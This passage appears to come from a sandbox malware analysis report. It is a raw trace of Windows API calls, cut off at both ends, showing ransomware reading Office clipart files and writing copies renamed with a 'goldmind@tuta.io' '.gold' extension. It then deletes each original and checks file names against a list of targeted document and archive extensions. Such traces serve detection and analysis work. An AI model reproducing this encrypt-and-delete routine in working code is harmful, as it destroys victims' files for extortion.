dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.359] GetLastError () returned 0x0 [0049.359] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x19e8, lpOverlapped=0x0) returned 1 [0049.361] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0049.361] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0049.361] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.361] SetEndOfFile (hFile=0x1a0) returned 1 [0049.362] CloseHandle (hObject=0x1a0) returned 1 [0049.362] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.362] SetEndOfFile (hFile=0x200) returned 1 [0049.362] CloseHandle (hObject=0x200) returned 1 [0049.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0049.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.363] lstrlenW (lpString=".doc") returned 4 [0049.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString=".docx") returned 5 [0049.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.363] lstrlenW (lpString=".pdf") returned 4 [0049.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString=".xls") returned 4 [0049.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.363] lstrlenW (lpString=".xlsx") returned 5 [0049.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.363] lstrlenW (lpString=".ppt") returned 4 [0049.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.363] lstrlenW (lpString=".zip") returned 4 [0049.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.363] lstrlenW (lpString=".rar") returned 4 [0049.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString=".bz2") returned 4 [0049.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString=".7z") returned 3 [0049.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.363] lstrlenW (lpString=".dbf") returned 4 [0049.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.363] lstrlenW (lpString=".1cd") returned 4 [0049.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.363] lstrlenW (lpString=".jpg") returned 4 [0049.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.363] lstrlenW (lpString=".doc") returned 4 [0049.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.363] lstrlenW (lpString=".docx") returned 5 [0049.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.364] lstrlenW (lpString=".pdf") returned 4 [0049.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.364] lstrlenW (lpString=".xls") returned 4 [0049.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.364] lstrlenW (lpString=".xlsx") returned 5 [0049.364] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.364] lstrlenW (lpString=".ppt") returned 4 [0049.364] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.364] lstrlenW (lpString=".zip") returned 4 [0049.364] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.364] lstrlenW (lpString=".rar") returned 4 [0049.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.364] lstrlenW (lpString=".bz2") returned 4 [0049.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.364] lstrlenW (lpString=".7z") returned 3 [0049.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.364] lstrlenW (lpString=".dbf") returned 4 [0049.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.364] lstrlenW (lpString=".1cd") returned 4 [0049.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0049.364] lstrlenW (lpString=".jpg") returned 4 [0049.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.364] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.364] lstrlenW (lpString="AN02724_.WMF") returned 12 [0049.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.365] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2108) returned 1 [0049.365] CloseHandle (hObject=0x200) returned 1 [0049.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0049.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.366] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.366] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.366] GetLastError () returned 0x0 [0049.366] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x83c, lpOverlapped=0x0) returned 1 [0049.367] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x840, lpOverlapped=0x0) returned 1 [0049.368] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0049.368] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.368] SetEndOfFile (hFile=0x1a0) returned 1 [0049.368] CloseHandle (hObject=0x1a0) returned 1 [0049.368] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.368] SetEndOfFile (hFile=0x200) returned 1 [0049.369] CloseHandle (hObject=0x200) returned 1 [0049.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0049.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.369] lstrlenW (lpString=".doc") returned 4 [0049.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.369] lstrlenW (lpString=".docx") returned 5 [0049.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.369] lstrlenW (lpString=".pdf") returned 4 [0049.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.369] lstrlenW (lpString=".xls") returned 4 [0049.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.369] lstrlenW (lpString=".xlsx") returned 5 [0049.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.369] lstrlenW (lpString=".ppt") returned 4 [0049.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.369] lstrlenW (lpString=".zip") returned 4 [0049.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.369] lstrlenW (lpString=".rar") returned 4 [0049.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.369] lstrlenW (lpString=".bz2") returned 4 [0049.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.369] lstrlenW (lpString=".7z") returned 3 [0049.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.369] lstrlenW (lpString=".dbf") returned 4 [0049.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.370] lstrlenW (lpString=".1cd") returned 4 [0049.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.370] lstrlenW (lpString=".jpg") returned 4 [0049.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.370] lstrlenW (lpString=".doc") returned 4 [0049.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString=".docx") returned 5 [0049.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.370] lstrlenW (lpString=".pdf") returned 4 [0049.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString=".xls") returned 4 [0049.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.370] lstrlenW (lpString=".xlsx") returned 5 [0049.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.370] lstrlenW (lpString=".ppt") returned 4 [0049.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.370] lstrlenW (lpString=".zip") returned 4 [0049.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.370] lstrlenW (lpString=".rar") returned 4 [0049.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString=".bz2") returned 4 [0049.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString=".7z") returned 3 [0049.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.370] lstrlenW (lpString=".dbf") returned 4 [0049.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.370] lstrlenW (lpString=".1cd") returned 4 [0049.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0049.370] lstrlenW (lpString=".jpg") returned 4 [0049.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.370] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.370] lstrlenW (lpString="AN03500_.WMF") returned 12 [0049.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.371] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=9240) returned 1 [0049.371] CloseHandle (hObject=0x200) returned 1 [0049.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0049.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.371] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.371] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.371] GetLastError () returned 0x0 [0049.371] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2418, lpOverlapped=0x0) returned 1 [0049.372] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2420, lpOverlapped=0x0) returned 1 [0049.373] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0049.373] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.373] SetEndOfFile (hFile=0x1a0) returned 1 [0049.373] CloseHandle (hObject=0x1a0) returned 1 [0049.374] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.374] SetEndOfFile (hFile=0x200) returned 1 [0049.374] CloseHandle (hObject=0x200) returned 1 [0049.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0049.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.375] lstrlenW (lpString=".doc") returned 4 [0049.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString=".docx") returned 5 [0049.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.375] lstrlenW (lpString=".pdf") returned 4 [0049.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString=".xls") returned 4 [0049.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.375] lstrlenW (lpString=".xlsx") returned 5 [0049.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.375] lstrlenW (lpString=".ppt") returned 4 [0049.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.375] lstrlenW (lpString=".zip") returned 4 [0049.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.375] lstrlenW (lpString=".rar") returned 4 [0049.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString=".bz2") returned 4 [0049.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString=".7z") returned 3 [0049.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.375] lstrlenW (lpString=".dbf") returned 4 [0049.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.375] lstrlenW (lpString=".1cd") returned 4 [0049.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.375] lstrlenW (lpString=".jpg") returned 4 [0049.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.375] lstrlenW (lpString=".doc") returned 4 [0049.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString=".docx") returned 5 [0049.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.375] lstrlenW (lpString=".pdf") returned 4 [0049.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.375] lstrlenW (lpString=".xls") returned 4 [0049.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.376] lstrlenW (lpString=".xlsx") returned 5 [0049.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.376] lstrlenW (lpString=".ppt") returned 4 [0049.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.376] lstrlenW (lpString=".zip") returned 4 [0049.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.376] lstrlenW (lpString=".rar") returned 4 [0049.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.376] lstrlenW (lpString=".bz2") returned 4 [0049.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.376] lstrlenW (lpString=".7z") returned 3 [0049.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.376] lstrlenW (lpString=".dbf") returned 4 [0049.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.376] lstrlenW (lpString=".1cd") returned 4 [0049.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0049.376] lstrlenW (lpString=".jpg") returned 4 [0049.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.376] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.376] lstrlenW (lpString="AN04108_.WMF") returned 12 [0049.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.376] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2344) returned 1 [0049.376] CloseHandle (hObject=0x200) returned 1 [0049.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0049.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.377] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.377] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.377] GetLastError () returned 0x0 [0049.377] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x928, lpOverlapped=0x0) returned 1 [0049.523] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x930, lpOverlapped=0x0) returned 1 [0049.524] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: 